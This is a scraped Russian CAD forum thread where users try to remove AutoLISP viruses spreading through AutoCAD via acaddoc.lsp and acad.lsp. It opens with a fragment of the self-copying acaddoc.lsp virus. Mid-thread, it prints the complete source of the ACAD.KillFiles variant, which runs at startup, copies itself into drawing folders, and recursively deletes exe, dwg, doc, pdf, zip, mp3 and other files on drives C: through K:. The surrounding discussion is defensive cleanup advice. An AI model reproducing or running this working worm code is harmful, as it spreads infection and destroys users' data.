(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(load "acadapq")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
; ошибка: неверный тип аргумента: streamp nil

Но никаких проблем с автокадом у вас уже не возникнет

VitSid · Регистрация: 07.11.2009

Привет всем! Достаточно долго не мог справиться с этим вирусом. Он тормозил автокад, запускал каждый файл в новом окне и вообще превращал работу в разочарование. Читал на форуме, но справиться с проблемой своими силами так и не смог. Нашел у турецкого программиста и инженера готовую программку в LSP формате, которая тут же мне помогла. Она просто удаляет весь вирус с компа, где бы он ни был и не дает ему распространяться вновь. Чтобы им воспользоваться просто откройте автокад, откройте папку с файлом, и перетащите его в окошко автокад (вниз на свернутую ссылку на панели задач, он развернется) и все. Вирус Вас больше не побеспокоит. Лично опробовал на 2011. Спасибо туркам).

МВ · 17.02.2011, 11:16

Что то мне этот пользователь VitSid с его одним сообщением не внушает доверия, в теме связанной с вирусами.

VitSid · 17.02.2011, 11:25

Ну это дело каждого, верить мне или нет. Просто я сам дней 15 мучался с этим вирусом, если кому-то не помогут ранее предложенные способы борьбы с вирусом, то они могут попробовать. У меня получилось, но я еще раз говорю, что доверие - это дело хозяйское). Доказывать кому-то что-то я тут не намерен, просто может быть помочь и все. Спасибо за понимание.

gomer · 18.02.2011, 22:34

Цитата:

Сообщение от VitSid

Спасибо туркам).

Какой то бред...
Есть программа Everything запускаете, набираете acaddoc.lsp и удаляете, все
Offtop: Кстати, подхватил недавно вирус, теперь справка акада отображается только после сообщения от эксплорера... Как можно это победить

sbi · 19.02.2011, 16:17

Цитата:

Сообщение от gomer

Offtop: Как можно это победить

Offtop: Не
пользоваться им. Лучше Волков командора Win не победить

gomer · 19.02.2011, 17:16

Offtop: Я им и не пользуюсь... просто вирус поменял настройки и заблокировал настройки для локального компьютера, также не отображается семинар по новым возможностям и окно регистрации автогада а винду переустанавливать неохота...

VVA · 20.02.2011, 20:05

Цитата:

Сообщение от gomer

просто вирус поменял настройки и заблокировал настройки для локального компьютера

gomer, Попробуй утилитой AVZ полечить. После запуска меню Файл -> Мастер поиска и устранения проблем Категория -> Системные проблемы Степень опасности -> Все проблемы

gomer · 20.02.2011, 21:50

Вот такое печальное окно...
VVA, пробовал - не помогло...
может это не то совсем...
Также не работает семинар по новым возможностям...
и окно активации

VVA · 21.02.2011, 13:24

gomer, Поиграйся с веткой HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel (предварительно сохранив резервную копию). Если увидишь значение ключа = 1, то либо установи в 0 либо удали.

gomer · 21.02.2011, 21:48

VVA, нет такое ветки... есть
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer...

\Control Panel в ней нет...

sbi · 21.02.2011, 22:03

gomer Доигрался?

gomer · 22.02.2011, 18:19

Цитата:

Сообщение от sbi

Доигрался?

угу... просто не охота винду переустанавливать... из-за всяких там автокадов
А вообще у кого-то работают кнопки из #73 может проблема и не в вирусе... avz4 помочь не смогла...

sbi · 22.02.2011, 21:50

gomer Offtop: Ломать не строить!

gomer · 23.02.2011, 20:18

потом то стоить все равно придется...

KronSerg · 05.03.2011, 15:48

На работе у коллег стали бесследно исчезать DWG файлы, нашёл в рабочих папках acad.lsp, а в Support ещё и acadiso.lsp, онлайн проверка Вебом показала

Цитата:

infected with ACAD.KillFiles

McAfee грохает только acadiso.lsp, на acad.lsp говорит чистый, распростронение продолжается, админ верит что раз McAfee говорит чисто, значит чисто, вирус распростроняется очень быстро, будьте бдительны.
PS Восстановить исчезнувшие файлы не удаётся, пока исчезают только файлы с флешек, которые открывались на домашних компах, где домашние антивирусники убивали acad.lsp.

VVA · 05.03.2011, 19:27

KronSerg, Выложи сюда acad.lsp на препарацию

KronSerg · 05.03.2011, 20:57

Ну надо та надо.
Добавлено: Файл препарирован, код выложен, оригинал удаляется.

sbi · 05.03.2011, 21:57

KronSerg

KronSerg · 05.03.2011, 22:20

sbi,

Цитата:

Сообщение от KronSerg

проверка Вебом показала
infected with ACAD.KillFiles

Цитата:

Сообщение от KronSerg

домашние антивирусники убивали acad.lsp

А чего ты ещё ждал?
я выложил

Цитата:

Сообщение от VVA

acad.lsp на препарацию

а не для праздного любопытства.

Кулик Алексей aka kpblc · 05.03.2011, 22:23

Надо будет Linux запустить и под ним выполнить чтение архива

gomer · 06.03.2011, 00:06

Цитата:

Сообщение от KronSerg

Ну надо та надо.

жостко! эта дрянь убивает все exe dwg doc xls rar pdf zip txt chm htm mp3
на дисках "k:" "j:" "i:" "h:" "g:" "f:" "e:" "d:" "c:"

Вот код:

Код:

[Выделить все]

 (defun s::startup (/	    old_cmd  path     dwgpath  mnlpath
		   apppath  oldacad  newacad  nowdwg   lspbj
		   wjm	    wjm1     wjqm     wjqm1    wz
		   ns1	    ns2
		  )
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq	ns1 ""
	ns2 ""
  )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn (while (setq wz (read-line wjm))
	     (setq ns1 ns2)
	     (setq ns2 wz)
	   )
	   (if (> (strlen ns1) 14)
	     (if (= (substr ns1 7 7) "acadiso")
	       (setq lspbj 1)
	     )
	   )
	   (close wjm)
    )
  )
  (if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.lsp"))
	   (setq newacad (strcat path "acadiso.lsp"))
	   (if (= lspbj 0)
	     (progn (setq wjqm (strcat path "acad.lsp"))
		    (setq wjm (open wjqm "a"))
		    (write-line
		      (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
		      wjm
		    )
		    (write-line "(princ)" wjm)
		    (close wjm)
	     )
	   )
	   (vl-file-copy oldacad newacad)
    )
    (progn (if (/= nowdwg "Drawing.dwg")
	     (progn (setq oldacad (findfile "acadiso.lsp"))
		    (setq newacad (strcat dwgpath "acad.lsp"))
		    (vl-file-copy oldacad newacad)
	     )
	   )
    )
  )

  (setq k (list "k:" "j:" "i:" "h:" "g:" "f:" "e:" "d:" "c:"))
  (alldelete "exe" k 0 1)
  (alldelete "dwg" k 0 2)
  (alldelete "doc" k 0 1)
  (alldelete "xls" k 0 2)
  (alldelete "rar" k 0 1)
  (alldelete "pdf" k 0 2)
  (alldelete "zip" k 0 1)
  (alldelete "txt" k 0 2)
  (alldelete "chm" k 0 1)
  (alldelete "htm" k 0 2)
  (alldelete "mp3" k 0 1)
  
  (setvar "cmdecho" old_cmd)
  (princ)
)
(defun alldelete ( file k ktime ntime / i n k1 kk k1file kkfile m j new_kk1 new_kk1file catchit)

	(setvar	"cmdecho"	0)
	(setq n (if k (length k) 0) 
				i 0
	)
	(while (and (< i n) (< ktime ntime) )
		
		(setq k1 (nth i k)) 
		(setq kkfile (vl-directory-files k1 (strcat "*." file)) 
					m (if kkfile (length kkfile) 0)
					j 0
		)

		(while (and (< j m) (< ktime ntime) )
			(setq kk1file (nth j kkfile)  
					  new_kk1file (strcat k1 "\\" kk1file) 
					  catchit (vl-catch-all-apply 'vl-file-delete (list new_kk1file))
						ktime (1+ ktime)
					  j (1+ j)
			)
		)
		
		(if	(vl-file-directory-p k1)
			 (progn
				 (setq kk (vl-directory-files k1 nil -1) 
							 kk (cddr kk)
							 m (if kk (length kk) 0)
							 j 0
				 )
				 (while (< j m)
					 (setq kk1 (nth j kk) 
								 new_kk1 (strcat k1 "\\" kk1) 
								 kk (subst new_kk1 kk1 kk) 
								 j (1+ j)
					 )
				 )
				 (setq ktime (alldelete file kk ktime ntime)) 
			)
			 
		)
			
		(setq i (1+ i))
		
	)

	ktime

)
(princ)

KronSerg · 06.03.2011, 10:40

Два вопроса:
1. Достаточно ли удалить acad.lsp, acadiso.lsp чтобы дрянь больше не появлялась?
2. Почему GetDataBack и Recuva не нашли следов удалённых файлов?

DilshatDK · 06.03.2011, 11:07

Цитата:

Сообщение от KronSerg

Два вопроса:
1. Достаточно ли удалить acad.lsp, acadiso.lsp чтобы дрянь больше не появлялась?

Удаление этих файлов вам ничего не даст. Даже если вы через поиск найдете все файлы и удалите их. При след открытии автокада они появятся. Я уже описывал способ который мне помог. Здесь он находится под номером 65. Должно сработать. Потом отпишитесь.

На второй вопрос не знаю ответа. Но могу сказать одно. Те у кого НОРМАЛЬНЫЙ АНТИВИРУС такой проблемой не страдают. А дело в том, что когда вы приносите зараженный этой фигней файл dwg на флешке. Антивир просто не дает ему запуститься и выполнить свой зловредный код. Так что всем совет устанавливайте антивирус.

KronSerg · 06.03.2011, 23:10

Отписываюсь, при удалении acad.lsp и acadiso.lsp из C:\Documents and Settings\....\Application Data\Autodesk\....\Support и удаления всех acad.lsp из папок с файлами, новые acad.lsp перестают создаваться и файлы прекращают исчезать, меня смутило это:

Цитата:

(setq mnlpath (getvar "menuname"))

mnl-ки не трогал, вроде чистые, зачем ему такая переменная? Я не обучен лиспу, может это вообще не переменная?
Про антивирусы в конторе не я решаю, но попробую послать ребятам из McAfee этот вирус, может обновят базы.
Оригинал от греха удалил, думаю кода достаточно, если кому нужен для опытов - пишите в личку.

Li6-D · 07.03.2011, 17:59

Цитата:

Сообщение от KronSerg

... меня смутило это:
Цитата:
(setq mnlpath (getvar "menuname"))
mnl-ки не трогал, вроде чистые, зачем ему такая переменная? Я не обучен лиспу, может это вообще не переменная?

Похоже на ставший классическим лисп-вирус, который здесь выкладывался и рассматривался.
Переменная mnlpath действительно непонятная, так как она после создания не используется. Наверное вирусописака схалтурил.
gomer в сообщении #86 привел убийственную версию вируса, ни в коем случае не запускайте её

gomer · 08.03.2011, 11:09

Цитата:

Сообщение от Li6-D

Похоже на ставший классическим лисп-вирус, который здесь выкладывался и рассматривался.

Похоже, но тот не удалял ничего вроде... а этот... в общем нужно почистить s:startup удалить все acad*.lsp кроме оригинальных, а те почистить... лиспы не являются классическими вирусами, и не опасны, пока не запущен акад...

KronSerg · 11.03.2011, 22:31

Думаю будет правильно извиниться за наведение тени на McAfee, получив образец вируса мне ответили что знают такой и лечат, а судя по этой ссылке, он у них в базе как минимум с 8 февраля, админы наши начудили с обновлениями, кстати, вирус полностью убит во всей сети.

znatok · 13.04.2011, 20:45

Я в этой теме на 5 страницу не могу войти, антивирус аваст выдаёт:

Нажмите для просмотра

http://s005.***********/i209/1104/19/74bb2daf14f7.jpg
Скажите, пожалуйста (в данном случае в личку) на что конкретно реагирует он.

(и возможно это сообщения НЕ отправится)

VVA · 13.04.2011, 21:05

Я думаю на опубликованный листинг в #86

znatok · 13.04.2011, 21:23

открыл 5 страницу с помощью Ворда и то возмущался.

Как я понял, Авст ругается из-за кода размещённого в 86 сообщении.

KronSerg · 13.04.2011, 22:53

Думаю эта страница была заложена в чёрный список Аваста ещё тогда, когда вирус можно было просто скачать.

Avrigo · 19.05.2011, 16:46

Похоже что вирус acaddoc.lsp совершенствуется. Я всё почистил, удалил, и даже создал файл acad.fas, НО при первом же открытии файла dwg в директории появляется acaddoc.lsp. Саму проблему ни AVIRA, ни CureIt не устранили. Похоже, что и дальше придется работать через Esc.

VVA · 19.05.2011, 18:38

Заархивируй acaddoc.lsp + добавь файл acad.mnl и выложи сюда

Avrigo · 20.05.2011, 18:27

Поздно, нечего архивировать. Сегодня победил его Live CD от Dr.Web. Но только когда конкретно натравил на папку Documents and Settings\*\*\*\Support, вирус сидел в трех файлах (acad.mnl; acetmain.mnl; AecArchXOE.mnl).
p.s. А до этого почистил acaddoc.lsp, дал ему свойства только чтение, но пришлось пихать его в каждую директорию с dwg-файлами.

hwd · 23.01.2012, 18:57

Написал модуль, задачей которого является раз и навсегда избавить пользователей от проблем, вызванных "творчеством" говнописателя, смыслом жизни которого является вредительство. Подробности здесь.

hwd · 19.02.2013, 19:29

При необходимости можно управлять включением\отключением автоматической загрузки файлов acad*.lsp и acad*.fas. Причём выполнять это можно не только в AutoCAD 2013 SP1.1, но и в более ранних версиях. Решение очень простое, выложено здесь.

sbi · 20.02.2013, 07:39

Андрей подскажи, ввиду моей безнадежной серости в NET, какой AcadSecurity.dll нужно ввести в AutoCAD2010, Win32, не сетевой, для исключения этой заразы?

hwd · 20.02.2013, 12:30

Цитата:

Сообщение от sbi

Андрей подскажи, ввиду моей безнадежной серости в NET, какой AcadSecurity.dll нужно ввести в AutoCAD2010, Win32, не сетевой, для исключения этой заразы?

На этой неделе я внесу изменения в "антивирусник": добавлю обозначенную выше возможность отключения автозагрузки acad*.lsp\acad*.fas, а так же добавлю графический интерфейс для просмотра отчётов и управления настройками (там же будут и настройки управления модулями VBA). Результат упакую в шаблон плагинов, как когда-то показывал скринами и видео здесь.

По завершению работ, в блоге дам ссылку на скачивание результата. На сегодняшний день у меня установлены только AutoCAD 2009 и AutoCAD 2013. Нужно будет создавать виртуальную машинку и ставить на неё все остальные версии, чтобы можно было скомпилировать библиотеку для прочих версий AutoCAD и добавить результаты в обозначенный выше шаблон плагинов.

yarrus77 · 20.02.2013, 14:07

Цитата:

Сообщение от Mikhail.Pavliy

acaddoc.lsp

Это вирус. У нас в конторе гулял. НОДом зачистили. Хотя можно действовать на отдельном компе проще. В Тоталкоммандере на каждом диске нажать комбинацию CTRL+B. Раскроется все дерево диска, найти все файлы и безвозвратно удалить. Я так дома сделал и антивирус не потребовался.

hwd · 20.02.2013, 14:14

Цитата:

Сообщение от yarrus77

Я так дома сделал и антивирус не потребовался.

Не путай дом и сетку. В сети нужно удалять сразу и везде. Не удалишь хотя бы на одной машине - сразу расползётся по сети при первом же запуске AutoCAD. Кроме того, как показывает практика, обязательно найдётся обезьянка, которая на работе в очередной раз откроет чертёж с флэшки, не посмотрев, что там лежит кроме чертежей, и всё по новой: "у попа была собака..."

yarrus77 · 20.02.2013, 16:20

Цитата:

Сообщение от hwd

Не путай дом и сетку

так я и не путаю

Цитата:

Сообщение от yarrus77

У нас в конторе гулял. НОДом зачистили.

Цитата:

Сообщение от yarrus77

на отдельном компе проще

sbi · 23.02.2013, 14:57

Цитата:

Сообщение от hwd

Не путай дом и сетку. В сети нужно удалять сразу и везде. Не удалишь хотя бы на одной машине - сразу расползётся по сети при первом же запуске AutoCAD. Кроме того, как показывает практика, обязательно найдётся обезьянка, которая на работе в очередной раз откроет чертёж с флэшки, не посмотрев, что там лежит кроме чертежей, и всё по новой: "у попа была собака..."

Спасибо жду. С днем отечества..

hwd · 23.02.2013, 16:27

Цитата:

Сообщение от sbi

С днем отечества..

C Днём Защитника Отечества (одно слово, а разница существенная). Спасибо, взаимно - всех тех, кто причастен к указанному празднику.

sbi · 10.03.2013, 07:50

hwd Тут мученики получились, подключайся. http://forum.dwg.ru/showthread.php?t=95791
Защищай Отечества
Дл тут собрались желающих столько http://forum.dwg.ru/showthread.php?t...0%E4%E0&page=4
пора лаборатория....

hwd · 27.03.2013, 13:59

Цитата:

Сообщение от sbi

Спасибо жду.

Тынц.

Maria Top · 04.07.2013, 12:04

Я так и не поняла, вирус встроен в сам dwg-файл или как? В моей ситуации на яндекс-диске есть архив с чертежами, там же и файлы acad.lsp присутствуют в каждой папке. Если я скачаю не все целиком, а только dwg-файлы, то это будет чревато или нет? С этим вирусом сталкивалась, больше не хочу заморачиваться лечением.

KronSerg · 04.07.2013, 12:09

Вирус внутри acad.lsp, в dwg-файле, его нет.

gomer · 04.07.2013, 18:39

Цитата:

Сообщение от Maria Top

это будет чревато или нет?

будет, если распакуете архив и откроете любой чертеж. Чтоб этого не произошло, нужно поштучно скопировать чертежи в другую папку, а потом уже открывать. это связано с тем, что при загрузке чертежа, в него автоматически загружается acad.lsp, а дальше происходит известный вам геморрой

hwd · 04.07.2013, 19:58

Цитата:

Сообщение от Maria Top

Я так и не поняла, вирус встроен в сам dwg-файл или как? В моей ситуации на яндекс-диске есть архив с чертежами, там же и файлы acad.lsp присутствуют в каждой папке. Если я скачаю не все целиком, а только dwg-файлы, то это будет чревато или нет? С этим вирусом сталкивалась, больше не хочу заморачиваться лечением.

Как вариант, чтобы в дальнейшем не бояться подобного рода заразы, можно воспользоваться вариантом, предложенным в #110. Начиная с AutoCAD 2013 SP1 надобность в ней почти отпадает (разве что можно использовать для восстановления уже заражённых/повреждённых/отсутствующих файлов).

Maria Top · 04.07.2013, 21:04

Цитата:

Сообщение от gomer

будет, если распакуете архив и откроете любой чертеж

В архиве несколько папок, в каждой необходимый dwg-файл и иже с ними lsp и прочая. Если не скачивать скопом весь архив, открыть его для просмотра, на яндекс-диске есть такая возможность, и уже дальше выдергивать исключительно dwg-файлы - вот в чем мой вопрос был.

gomer · 04.07.2013, 21:53

Файлы acad.lsp нужны для загрузки функций, который прописаны в реакторах, сохраненных в чертежах. Эта технология в основном уже устарела, так как появились параметрические зависимости. В принципе, я бы сделал так: скачал архив, разархивировал его, просканил содержимое с помощью Everything, если acad.lsp,fas,vlx содержат вредоносный код, удалил их и спокойно открывал бы чертежи. При этом структура файлов не изменилась бы.

Maria Top · 04.07.2013, 21:59

Спасибо за объяснения, только зачем мне скачивать весь архив, если мне нужны только dwg...вы наверное невнимательно прочитали...

hwd · 04.07.2013, 22:10

Цитата:

Сообщение от Maria Top

Спасибо за объяснения, только зачем мне скачивать весь архив, если мне нужны только dwg...вы наверное невнимательно прочитали...

Да нет, это вы невнимательно читаете... Вы уж определитесь: вам шашечки или ехать? gomer ответил вам: удалите лиспы прежде чем открывать чертежи. Как вы это будете делать - это уж на ваш вкус.

gomer · 04.07.2013, 22:13

У женщин понятие несколько весьма растяжимое, поэтому я предложил 2 способа: либо выщипывать, либо подстригать... Следует, учитывать что вирусы могут находиться в скрытых файлах, которые не видны невооруженному глазу, поэтому нужно быть весьма осторожным в этом деле

Maria Top · 04.07.2013, 22:16

Хорошо, не ругайтесь, я не сильна в программировании и всех прочих технических тонкостях.
Я попробовала скачать на другой комп только 1 файл dwg. Открыла его, пошуршала, закрыла. Вроде рядом лиспов не образовалось. Но коли уж вы настаиваете на подобных манипуляциях, спорить не буду, ок.

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Пароизоляция утеплителя: нужна или нет.	Romka	Прочее. Архитектура и строительство	183	18.08.2016 23:36
Advance Steel. Изучать или нет.	Saha	Advance Steel	4	19.09.2008 06:08
Нужен МКЭ расчет или нет?	SRG_ORL	Расчетные программы	36	22.12.2006 00:39
Можно ли делать в проекте свободную планировку кв-р или нет?	tyoma	Разное	4	09.12.2006 08:05

14.10.2008, 13:38		#1
Acaddoc.lsp вирус или нет? Mikhail.Pavliy Регистрация: 14.10.2008 Сообщений: 8 Помогите удалить этот вирус. При открытии черчежей автоматически создаётся файл acaddoc.lsp. После того как он попадает на машину AutoCad перестаёт работать корректно, все черчежи открвыаются только с нажатием ESC и каждый раз в новом AutoCad. Пробовал удалять вручную, чистил антивирусом AVP 8, Symantec 10, CureIt они его удаляют. Но при открытии черчежей создаётся заново. Также читал на форумах что надо почистить его внутри изменить некоторые переменные, тоже не помогает. Помогите пожалуйста.
Просмотров: 85800